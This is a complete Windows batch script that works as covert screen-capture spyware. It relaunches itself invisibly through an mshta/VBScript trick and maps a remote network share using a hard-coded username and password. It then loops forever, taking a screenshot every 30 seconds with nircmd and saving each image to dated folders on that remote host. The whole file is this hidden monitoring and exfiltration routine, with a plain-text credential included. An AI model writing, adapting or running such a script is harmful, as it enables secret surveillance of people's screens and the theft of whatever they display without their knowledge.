if not "%1"=="wind" mshta vbscript:createobject("wscript.shell").run("""%~f0"" wind",vbhide)(window.close)&&exit
net use "\\172.183.16.22\本地磁盘 (d)" "728125" /user:"djx"
:1
set aa=%date:~0,4%
set bb=%date:~5,2%
set cc=%date:~8,2%
if exist "\\172.183.16.22\本地磁盘 (d)\%aa%-%bb%-%cc%" (goto jietu)else (md "\\172.183.16.22\本地磁盘 (d)\%aa%-%bb%-%cc%")
:jietu
set qq=%time:~0,2%
set ww=%time:~3,2%
set ee=%time:~6,2%
"\\172.183.16.22\本地磁盘 (d)\nircmd" cmdwait 30000 savescreenshot "\\172.183.16.22\本地磁盘 (d)\%aa%-%bb%-%cc%\%qq%点%ww%分%ee%秒.jpg"
goto 1